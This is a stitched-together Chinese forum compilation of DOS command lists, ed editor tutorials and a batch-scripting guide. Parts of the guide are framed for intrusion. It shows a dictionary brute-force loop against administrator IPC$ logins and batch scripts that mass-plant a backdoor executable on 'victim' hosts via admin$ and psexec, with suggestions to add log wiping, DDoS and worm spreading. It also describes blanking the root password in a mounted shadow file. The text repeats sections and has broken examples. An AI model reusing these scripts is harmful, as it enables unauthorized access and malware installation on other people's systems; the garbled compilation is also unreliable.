BREAK 设置或清除扩展 Ctrl+C 检测。
CD 显示当前目录名或改变当前目录。
CHCP 显示或设置活动代码页编号。
CLS 清除屏幕。
CMD 启动或刷新命令处理器。
COLOR 设置默认的控制台前景和背景颜色。
DATE 显示当前日期。
DEL 删除文件。
DIR 显示目录内容。
ECHO 显示信息,或将命令回显打开或关上。
EDIT 启动文件编辑器,可用于建立和编辑文本文件的编辑器。
EXIT 退回 Web 界面。
FIND 在文件中搜索字符串。
FONT 列出所有可用字体或改变当前字体。
GOTO 跳转到批处理程序中带标签的行。
HELP 提供命令的帮助信息。
HISTORY 显示命令行历史。
IF 执行条件处理。
MORE 显示文件内容,每次显示一个帖子。
NET 管理当前用户。
PAUSE 暂停执行程序并显示一条消息。
POPD 还原由 PUSHD 保存的当前目录上一次的值。
PROMPT 更改命令提示符。
PUSHD 保存当前目录以供 POPD 命令使用,然后更改目录。
REM 加上注解或说明。
REN 重命名文件。
SET 显示、设置或删除环境变量。
SHIFT 更改批处理文件中可替换参数的位置。
TIME 显示当前时间。
TITLE 设置命令提示窗口的窗口标题。
TYPE 显示文件内容。
VER 显示系统版本。
VOL 显示磁盘卷标和序列号。
很多主板的CMOS中都提供了进行低级格式化的功能,一般在HDD Low Level Format选项中,你的主板上如果有这个选项,你就可以直接使用其中的Hard Disk Low Level Format Utility进行低级格式化。也有很多主板上没有低级格式化的功能,如果是这样的话,那你最好使用该硬盘厂商提供的硬盘管理、低级格式化程序。也有一般通用的低级格式化程序,如DM(Disk Manager),PC-Tools等,如果你的硬盘是比较标准的,也可以使用这些工具进行低级格式化。
川k 渝-SpeakHero 2010-03-30
dos 只能访问FAT , ntfs它不认 采用单个查找还行 CD X: 和 DIR
常用命令中,没有一个是专为查找文件而设置的,没有相应的命令是不是只有一个目录一个目录地去查找了呢?不,这里还有一招,比如我们要看当前目录及当前目录下的子目录中以WT开头的所有文件,输入DIRWT*.*/S系统会把以WT开头的文件及所在的目录显示出来。也就是说,我们要查找某一个文件,其实就是把他显示在屏幕上,而DIR的"/s"参数就是连同子目录的文件一起查看,利用此参数就可以达到了查找的目的。DIR的"/a"和"/h"以及"/ah"还可以帮助你快速查找隐藏文件呢.这个在删除文件的时间最有用处.
ed 编辑器是 Linux 操作系统下最简单的文本编辑器。它是以行为单位对文件进行编辑的编辑器,而不像 MS-DOS 系统下的 edit 那样是以整个屏幕框架为单位对文件进行编辑的。因此,如果你已经习惯了使用 edit 这种风格的编辑器,那么你可能需要一段时间才能习惯 ed 的风格。但是这并不重要,因为 ed 的简便性可以使你很快上手的。
ed 编辑器的调用很简单,如果你想新建一个文件,那么只需要在命令行窗口中敲入 ed 然后按下回车键即可:
[titan@localhost titan]$ ed <-
如果你想编辑一个已经存在的文件,那么你只要在 ed 的后面空一个,然后敲入文件名即可:
[titan@localhost titan]$ ed filename <-
激活 ed 命令后进入的是 ed 编辑器的命令行状态,这可能使一些初学者有些不习惯,如果你这时候随便敲入一些内容,系统会返回一个 ?,表示不知道你要执行什么任务:
[titan@localhost titan]$ ed <-
abcde <-
?
这时候你要明确几个编辑器命令,它们是:
a - 在文件的末尾添加新内容
i - 在文件的最后一行之前插入新内容
o - 把文件输入的最后一行(不论是原来存在的或者插入的)替换成新内容
. - 退出编辑文件模式进入命令行模式(注意:此时并没有退出 ed 编辑器)
w - 保存文件
q - 真正退出 ed 编辑器
下面我将就着几个命令举例说明一下。
[titan@localhost titan]$ ed <- 激活 ed 命令
a <- 告诉 ed 我要编辑新文件
My name is Titan. <- 输入第一行内容
And I love Perl very much. <- 输入第二行内容
. <- 返回 ed 的命令行状态
i <- 告诉 ed 我要在最后一行之前插入内容
I am 24. <- 将“i am 24.”插入“my name is titan.”和“and i love perl very much.”之间
. <- 返回 ed 的命令行状态
c <- 告诉 ed 我要替换最后一行输入内容
I am 24 years old. <- 将“i am 24.”替换成“i am 24 years old.”(注意:这里替换的是最后输的内容)
. <- 返回 ed 的命令行状态
w readme.text <- 将文件命名为“readme.text”并保存(注意:如果是编辑已经存在的文件,只需要敲入 w 即可)
q <- 完全退出 ed 编辑器
[titan@localhost titan]$ 返回到 Linux 系统的命令行状态
这是文件的内容是:
[titan@localhost titan]$ cat readme.text <-
My name is Titan.
I am 24 years old.
And I love Perl vrey much.
[titan@localhost titan]$
forward.molly.宝儿 独自行走
ed编辑器简单使用总结 2010-01-10 12:59:04
分类: LINUX
ed
ed 编辑器是 Linux 操作系统下最简单的文本编辑器。它是以行为单位对文件进行编辑不像 MS-DOS 系统下的 edit 那样是以整个屏幕框架为单位对文件进行编辑的。
ed编辑器有两个状态:命令行状态和编辑状态。前者接收输入的ed命令也是默认启动状态,后者对文件以行为单位进行编辑,下面开始学习。
**新建一个文件testNew:
*方法1,先指定文件名,输入过程如下:
$ls
$ed testNew
testNew: No such file or directory <==此处是输出,表示一个不存在的文件。
w
0 <==此处是输出,表示写了0个字符。
q
$ ls
testNew <==此处是输出,可见多了一个新的空文件。
这里,w表示写命令,q退出,后面会提到。如果没有w那么q之后也不会建立新的文件。
*方法2,写时再指定名字,输入过程如下:
$ls
testNew <==此处是输出,只有刚才新建的文件。
$ed
w
? <==此处是输出,?表示有问题,或命令不识别或别的,此处是缺少文件名。
w
? <==此处是输出,同上。
w testNew2
0 <==此处是输出,表示写了0个字符。
q
$ls
testNew testNew2 <==此处是输出,可见多了一个新的空文件testNew2。
这里,因为是一个新文件,所以如果一直w且没输入文件名的话,会一直提示,直至你指定了一个文件名。如果在w testNew2之前按q将直接退出,这样也不会建立这个新文件了。
**
*命令行状态常用命令:
a <==在文件的末尾添加新内容。
i <==在文件的最后一行之前插入新内容。
o <==把文件输入的最后一行(不论是原来存在的或者插入的)替换成新内容。
. <==退出编辑文件模式进入命令行模式(注意:此时并没有退出 ed 编辑器)。
w <==保存文件,如果指定一个名称表示另存为的意思,这就不改变当前文件了。
q <==退出 ed 编辑器,如果没有w则提示?,再次q就非保存退出了。
Q <==相当强制退出,无论保存与否。
**
*新建一个文件并编辑的流程举例:
$ ed
a <==输入a告诉 ed 我要编辑新文件
My name is QuietHeart. <==输入第1行内容
And I love ed very much. <==输入第2行内容
. <==输入.返回 ed 的命令行状态
i <==输入i告诉 ed 我要在最后一行之前插入内容
I am 25. <==输入,将“I am 25.”插入“My name is ...”和“And I love...”间.
. <==输入.返回 ed 的命令行状态
c <==输入c告诉 ed 我要替换最后一行输入内容
I am 25 years old. <==输入,将“I am 25.”替换成“I am 25 years old.”
.w <==输入,一个误操作,结果成了输入了。
q <==输入,由于前面一个误操作,结果成了输入了。
. <==输入.,这才返回 ed 的命令行状态,而不是前面.w
w testNew <==输入,将文件命名为“testNew”保存(如果已存在文件,只需要敲入 w否则会覆盖)
72 <==这里是输出,表示写入的字符数。
q <==输入q完全退出 ed 编辑器
下面,我们来看看刚刚新建的文件的内容:
$ cat testNew
输入之后,输出如下:
My name is QuitHeart.
I am 25 years old.
.w
q
And I love ed very much.
这里,我几乎都用到了前面给出的常用命令,我们可以了解ed最最简单的使用了,后面再说一些其它实用的命令。
ed行编辑器的简单使用说明 2009-02-01 12:13:48
分类:
ed 分为命令方式和输入方式两种状态。
当出现提示符“*”时,ed处于命令方式。
ed 命令的一般格式为:[行号1,行号2] 命令字 [参数]
ed 的大部分命令均为单个小写字母。
1、附加文件命令(a)
[n] a 回车 ,其中n是行号
a 命令可以跟在行号 n 的后边,如 10a 表示在第10行之后开始附加。如果不指定行号,就是在当前行之后开始附加。
停止附加的方法为:在一个空行的行首键入“.”,然后按回车键,ed 将返回命令方式。
2、插入命令 (i)
[n] i回车
i 命令与 a 命令的作用基本上是一样的,所不同的是:当指定行号时,i 命令在那行之前插入,而 a 命令在那行之后插入。
在一个新建的文件中,在一行也没有的情况不能使用 i 命令。
3、更改命令(c)
[n1,n2] c回车
ed 用新输入的文本取代由 n1 和 n2 确定的若干行范围内原有的文本。如未指定行则替换当前行。
4、按行号寻址
[行号1,行号2] p
p 命令可省略,直接输入行号,指针跳转到指定行号。
其中“.”代表当前行号,“$”代表最后一行,“,”代表全部文本,“;”代表从当前行到最后一行的所有文本。
5、字符串寻址
/指定字符串/命令回车
?指定字符串?命令回车
6、全局查找
g/字符串/命令回车,对所有包含指定字符串的行进行指定命令操作。
v/字符串/命令回车,对所有不包含指定字符串的行进行指定命令操作。
7、相对寻址
[行号1±n,行号2±n] 命令 回车
相对于行号1加减 n 行到相对于行号2加减 n 行的范围执行指定命令操作。
8、带行号显示文本(n)
[行号1,行号2] n 回车
9、删除文本(d)
[行号1,行号2] d 回车
10、恢复命令(u)
u回车
11、替换文本(s)
[行号1,行号2]s/旧文本/新文本/[参数]回车
参数内容:
g :替换指定行内的所有旧文本,当某行文本包括两个以上旧文本时,若不用此参数,则只替换头一个。
l :将被替换行的内容连同不可见的字符都显示出来。对于有汉字的行使用这个参数将显示乱码。
p :将被替换的最后一行显示出来。
n :将被替换的最后一行连同行号一同显示出来。
上述四个参数中,g 命令可以与其他三个组合使用。其功能就是二者的迭加。但 g 参数与其他参数合用时必须 g 在前面。
12、通配符
在查找、替换命令中时:
. :代表任意一个字符
* :代表任意多个相同字符
.* :代表任意多个任意字符
13、转义字符(\)
使特殊字符失去意义。
14、移动若干行文本(m)
[行号1,行号2] m 行号3 回车
15、拷贝若干行文本(t)
[行号1,行号2] t 行号3 回车
16、将两行连接成一行
[行号1,行号2]j回车
17、存盘(w)
w回车
18、退出(q)
q回车
若未存盘,会提示。
19、不保存退出(Q)
Q回车
ed 的最简单的使用方法是:
line +命令
比如
1p是从第1行开始显示
1d是从第1开始删除
1c是从第1行开始修改
如果你是要改shadow 文件,可以先备份后,ed /mnt/etc/shadow(当然要先把硬盘挂到/mnt目录下)
然后
1c(修改第一行,就是root:......一行)
root:::0:0(让root用户无密码)
(结束输入)
wq
就行了。
ex为ed的增强版本 .
[ Last edited by zzz19760225 on 2016-7-24 at 13:02 ]作者: zzz19760225 时间: 2017-8-30 23:33 天亮说晚安、4级
2010-02-05 回答
本人有很多,希望对你有帮助
补充:
一.简单批处理内部命令简介
1.Echo 命令
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命
令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使
用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这
个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令
就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你
自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入
驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签
。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数:
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本
内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提
示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行
标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后
都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1)、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2)、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用
当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读
取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字
符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白
行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同
解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一
个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起
文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for
程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用
%j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用
双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=
一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字
母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。
这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符
串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此
,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变
量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似
%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下
密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给
find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完
成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会
变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵
,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数
%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码
(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容
是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
------------------- cut here then save as a batchfile(I call it door.bat) ------------------
-----------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一
目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功
能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat 写不下了,分几批发上来吧!!!
补充:
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添
足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令
写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令
了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法
可以替换IF exist了.
3.││
Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的
命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
BREAK 设置或清除扩展 Ctrl+C 检测。
CD 显示当前目录名或改变当前目录。
CHCP 显示或设置活动代码页编号。
CLS 清除屏幕。
CMD 启动或刷新命令处理器。
COLOR 设置默认的控制台前景和背景颜色。
DATE 显示当前日期。
DEL 删除文件。
DIR 显示目录内容。
ECHO 显示信息,或将命令回显打开或关上。
EDIT 启动文件编辑器,可用于建立和编辑文本文件的编辑器。
EXIT 退回 Web 界面。
FIND 在文件中搜索字符串。
FONT 列出所有可用字体或改变当前字体。
GOTO 跳转到批处理程序中带标签的行。
HELP 提供命令的帮助信息。
HISTORY 显示命令行历史。
IF 执行条件处理。
MORE 显示文件内容,每次显示一个帖子。
NET 管理当前用户。
PAUSE 暂停执行程序并显示一条消息。
POPD 还原由 PUSHD 保存的当前目录上一次的值。
PROMPT 更改命令提示符。
PUSHD 保存当前目录以供 POPD 命令使用,然后更改目录。
REM 加上注解或说明。
REN 重命名文件。
SET 显示、设置或删除环境变量。
SHIFT 更改批处理文件中可替换参数的位置。
TIME 显示当前时间。
TITLE 设置命令提示窗口的窗口标题。
TYPE 显示文件内容。
VER 显示系统版本。
VOL 显示磁盘卷标和序列号。
1、当你希望读取文本文件中的内容的话,第一个括号中不用任何符号包裹,应该使用的是第1条语句;例如:你想显示test.txt中的内容,那么,就使用 for /f %%i in (test.txt) do echo %%i;
2、当你读取的是命令语句执行结果中的内容的话,第一个括号中的命令语句必须使用单引号包裹,应该使用的是第2条语句;例如:你想显示当前目录下文件名中含有test字符串的文本文件的时候,应该使用 for /f %%i in ('dir /a-d /b *test*.txt') do echo %%i 这样的语句;
3、当你要处理的是一个字符串的时候,第一个括号中的内容必须用双引号括起来,应该是用的是第3条语句;例如:当你想把bbs.bathome.cn这串字符中的点号换为短横线并显示出来的话,可以使用 for /f "delims=. tokens=1-3" %%i in ("bbs.bathome.cn") do echo %%i-%%j-%%k 这样的语句。
1、for /f %%i in (文件名) do (……)
2、for /f %%i in ('命令语句') do (……)
3、for /f %%i in ("字符串") do (……)
4、for /f "usebackq" %%i in ("文件名") do (……)
5、for /f "usebackq" %%i in (`命令语句`) do (……)
6、for /f "usebackq" %%i in ('字符串') do (……)
[code20]
@echo off
set num=0
for /f %%i in ('dir /a-d /b *.exe') do (
set /a num+=1
echo num 当前的值是 %num%
)
echo 当前目录下共有 %num% 个exe文件
dir /a-d /b *.txt|findstr "test">nul&&(
echo 存在含有 test 字符串的文本本件
)||echo 不存在含有 test 字符串的文本文件
if exist test.ini (
echo 存在 test.ini 文件
) else echo 不存在 test.ini 文件
pause
@echo off
setlocal enabledelayedexpansion
set num=0&&echo !num!
pause
@echo off
set num=0
setlocal enabledelayedexpansion
for /f %%i in ('dir /a-d /b *.exe') do (
set /a num+=1
echo num 当前的值是 !num!
)
echo 当前目录下共有 %num% 个exe文件
dir /a-d /b *.txt|findstr "test">nul&&(
echo 存在含有 test 字符串的文本本件
)||echo 不存在含有 test 字符串的文本文件
if exist test.ini (
echo 存在 test.ini 文件
) else 不存在 test.ini 文件
pause
使用第call语句,那么,[code19]和[code20]可以分别修改为:
@echo off
set num=0&&call echo %%num%%
pause
@echo off
set num=0
for /f %%i in ('dir /a-d /b *.exe') do (
set /a num+=1
call echo num 当前的值是 %%num%%
)
echo 当前目录下共有 %num% 个exe文件
dir /a-d /b *.txt|findstr "test">nul&&(
echo 存在含有 test 字符串的文本本件
)||echo 不存在含有 test 字符串的文本文件
if exist test.ini (
echo 存在 test.ini 文件
) else 不存在 test.ini 文件
pause
更详细的解释就是:在下面的语句中,如果“元素集合”中只是一个点号,那么,这条语句的作用就是:列举“目录”及其之下的所有子目录,对这些文件夹都执行“命令语句集合”中的命令语句。其作用与嵌套进 for /f 复合语句的 "dir /ad /b /s 路径" 功能类似。如果省略了“目录”,将在当前目录下执行前面描述的操作。
Quote:
for /r 目录 %%i in (元素集合) do 命令语句集合
先来个代码增强一下印象:
[code21]
@echo off
for /r d:\test %%i in (.) do echo %%i
pause
执行的结果如下所示:
Quote:
d:\test\.
d:\test\1\.
d:\test\2\.
d:\test\3\.
效果就是显示 d:\test 目录及其之下是所有子目录的路径,其效果与 dir /ad /b /s d:\test 类似。若要说到两者的区别,可以归纳出3点:
1、for /r 列举出来的路径最后都带有斜杠和点号,而 dir 语句则没有,会对获取到的路径进行进一步加工产生影响;
2、for /r 不能列举带隐藏属性的目录,而 dir 语句则可以通过指定 /a 后面紧跟的参数来获取带指定属性的目录,更加灵活;
3、若要对获取到的路径进行进一步处理,则需要把 dir 语句放入 for /f 语句中进行分析,写成 for /f %%i in ('dir /ad /b /s') do …… 的形式;由于 for /r 语句是边列举路径边进行处理,所以,在处理大量路径的时候,前期不会感到有停顿,而 for /f 语句则需要等到 dir /ad /b /s 语句把所有路径都列举完之后,再读入内存进行处理,所以,在处理大量路径的时候,前期会感到有明显的停顿。
第2点差别很容易被大家忽视,导致用 for /r 列举路径的时候会造成遗漏;而第3点则会让大家有更直观的感受,很容易感觉到两者之间的差别。
